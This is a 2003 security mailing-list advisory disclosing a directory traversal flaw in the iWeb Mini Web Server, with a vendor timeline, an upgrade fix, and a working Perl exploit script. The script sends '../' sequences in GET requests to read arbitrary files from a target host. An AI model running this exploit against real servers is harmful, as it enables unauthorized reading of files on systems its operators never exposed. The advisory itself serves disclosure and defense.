[NT] iWeb Mini Web Server Remote Directory Traversal

From: support@securiteam.com
Date: 04/18/03

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    From: support@securiteam.com
To: list@securiteam.com
Date: 18 Apr 2003 12:12:18 +0200

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      iWeb Mini Web Server Remote Directory Traversal
    ------------------------------------------------------------------------

    SUMMARY

    The <A HREF="http://www.ashleybrown.co.uk/iweb/
    ">iWeb Mini Web Server is a "mini web server designed for use on Intranets
    and for testing websites in a realistic environment". It has been found
    that iWeb does not correctly filter GET requests for ../ characters
    thereby allowing us to escape the webroot and remotely traverse the
    directory structure of the remote host.

    DETAILS

    Solution:
    Upgrade to the latest version of iWeb available at:
     <http://ashleybrown.co.uk/downloads/iws2.exe>
    http://ashleybrown.co.uk/downloads/iws2.exe

    Exploit:
    #!/usr/bin/perl -w
    #
    # S e c u r i t y F r e a k s
    # www.securityfreaks.com
    #
    # iWeb Mini Web Server Remote Directory Traversal
    #
    # subversive[at]linuxmail.org - *15/04/2003*

    use IO::Socket;

    if(!$ARGV[0]) {
    print <<"IWEBSUK";

       S e c u r i t y F r e a k s
         www.securityfreaks.com

      -------------------------------------------------------------
      SF-iwsuk.pl - iWeb Mini Web Server Remote Directory Traversal
      -------------------------------------------------------------
      Usage: $0 <host> <file> <port>

    IWEBSUK
    exit;
    }

    else{
    $host = $ARGV[0];
    }

    if(!$ARGV[2]) {
    $port = "80";
    }

    else {
    $port = $ARGV[2];
    }

    my $sock = new IO::Socket::INET ( Proto => "tcp",
                                      PeerAddr => $host,
                                      PeerPort => $port,
                                    );
    die "\nConnection to $host:$port failed\n" unless $sock;

    print $sock "GET /../../../../../../../../../$ARGV[1] HTTP/1.0\n\n";
    while(<$sock>) { print }
    close($sock);
    print("\n\n");
    exit;

    Vendor Status:
    14/04/03 Initial Contact Made
    15/04/03 Vendor Responded
    15/04/03 Vendor Released Updated Version

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:subversive@linuxmail.org>
    subversive.

    ========================================

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    ====================
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